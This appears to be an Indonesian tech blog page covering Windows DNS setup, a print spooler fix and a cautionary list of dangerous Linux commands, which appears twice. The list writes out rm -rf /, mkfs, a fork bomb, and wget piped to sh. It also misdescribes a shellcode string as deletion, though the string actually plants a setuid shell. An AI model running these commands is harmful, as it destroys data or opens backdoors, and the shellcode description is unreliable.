Latest Updates

DNS SERVER CONFIGURATION


Pada start menu pilih administrative tool  dan kemudian klik DNS untuk membuka consoleDNS.

  
Pada console dns kemudian klik kanan pada nama dns yang berada pada sebelah kiri kemudian klik configure a DNS Server.



Kemudian klik next pada wizard yang muncul sampai muncul tampilan sperti berikut dan kemudian pilih the server maintains the zone dan klik next.

 
Ketika muncul tampilan seperti dibawah makan kita harus memasukan  nama domain yang akan kita buat untuk zona file pertama kemudian klik next.


setelah  muncul wizard seperti di bawah ini kemudian ceklist creat a new file with this file name :  kemudian klik next dan ikuti wizard yg muncul.



Ketika muncul wizard seperti dibawah ini cheklis no,it should not forward queries kemudian klik next.kmudian tunggu hingga proses selesai dan klik finish.

Installasi DNS Server di Windows Server 2008


Dari Start menu pilih Adminitrative tools --> Server Manager

 

















Kemudian setelah muncul tampilan seperti berikut, klik  roles di sebelah kiri windows dan pilih add roles.



















Ikuti wizard yang muncul, setelah muncul tampilan seperti berikut kemudian beri tanda ceklist pada DNS server dan klik next.



















Saat muncul tampilan seperti dibawah klik install untuk menginstall DNS pada windows server 2008.
 


















Setelah instalasi selesai maka akan muncul informasi installation succeded seperti  gambar di bawah ini.

Command linux yang mematikan

Command linux yang mematikan
berikut command-command yang  berbahaya jika diterapkan pada mesin linux.

1. Perintah rm -rf /
Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari.Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri


2. Perintah menggunakan bilangan hexa

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman

3. Perintah mkfs.ext3 /dev/sda
Perintah ini sama halnya melakukan perintah format pada partisi yang ditunjuk.
4. Perintah forkbomb :(){:|:&};:
Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa.

5. Perintah apapun > /dev
Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk)

6. Perintah untuk eksekusi file shell tertentu
Perintah wget http://alamat-url-yangtidak-jelas -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya.

7. Perintah memindahkan home folder ke /dev/null
mv /home/home-directory/* /dev/null
Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup

Mengatasi Print spoler error

Mengatasi Print spoler error
Langkah-langkah untuk mengatasi masalah print spooler yang tidak mau berjalan pada Sistem Operasi Windows 7 adalah sebagai berikut :

1. Pastikan secara fisik hardware tidak ada kerusakan pada peralatan printer maupun kabel penghubungnya (USBPararel).

2. matikan service print spooler, melalui Control Panel -> Administrative Tools-> Services, cari bagian print spooler dan klik stop.


3. Melalui windows explorer hapuslah seluruh isi file dari folder 3, secara lengkap path-nya ada di C:\windows -> System32 -> spool -> drivers -> windows32x863. hapus folder 3.

3. Masuklah ke registry windows 7., Ketik  regedit,  melalui search program and files, milik windows 7.

4. Masuk ke  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPrintEnvironmentsWindows NT x86DriversVersion-3

5.  Hapus semua nilai yang ada pada direktori Version-3

6. Hidupkan kembali  untuk  service print spooler, melalui Control Panel, Administrative Tools, Services, cari bagian print spooler dan klik start.

7. Langkah terakhir lakukan instalasi ulang untuk driver printer tersebut.

Selamat mencoba dan sukses buat kita semua ...

Software pengganti Deep Freeze


RVS 2010 merupakan software kombinasi antara antivirus, anti-malware dan virtualisasi sistem yang bertujuan untuk melindungi komputer dari berbagai serangan/infeksi virus dan sejenisnya. RVS 2010 Home Free bisa kita gunakan grais untuk personal dan non-commercial.

 
Berikut beberapa fitur RVS 2010 Home Free :
  • Virus Guard, Antivirus yang memonitor secara realtime (terus menerus)
  • Sistem safe (virtusl sistem), untuk mengembalikan keadaan komputer seperti sebelunya. Seperti halnya DeepFreeze.
  • Virtual Disk, mampu membuat virtual disk/partisi.
  • Access Protection, untuk menjaga komputer dari penggunaan yang tidak di inginkan
  • Message Center, memberikan berbagai informasi berkaitan dengan keamanan/infeksi virus.
  • Berbagai fitur lainnya
Salah satu fitur yang merupakan alternatif DeepFreeze adalah kemampuan untuk mengembalikan keadaan sistem seperti sebelumnya. Jadi ketika komputer sudah terinfeksi virus, maka komputer bisa dikembalikan ke keadaan sebelumnya. Data atau Update yang sudah tersimpan pun akan terhapus jika dilakukan recovery, sehingga pastikan untuk menon-aktifkan terlebih dahulu RVS 2010 ketika melakukan update dan perubahan penting lainnya.
Lebih detailnya silahkan melihat halaman Returnil Virtual System2010 Home Free
http://www.returnilvirtualsystem.com/returnil-system-safe

 
 DOWNLOAD











Command linux yang mematikan

Command linux yang mematikan

berikut command-command yang  berbahaya jika diterapkan pada mesin linux.

1. Perintah rm -rf /
Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari.Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri


2. Perintah menggunakan bilangan hexa

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;


Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman

3. Perintah mkfs.ext3 /dev/sda
Perintah ini sama halnya melakukan perintah format pada partisi yang ditunjuk.
4. Perintah forkbomb :(){:|:&};:
Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa.

5. Perintah apapun > /dev
Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk)

6. Perintah untuk eksekusi file shell tertentu
Perintah wget http://alamat-url-yangtidak-jelas -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya.

7. Perintah memindahkan home folder ke /dev/null
mv /home/home-directory/* /dev/null
Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup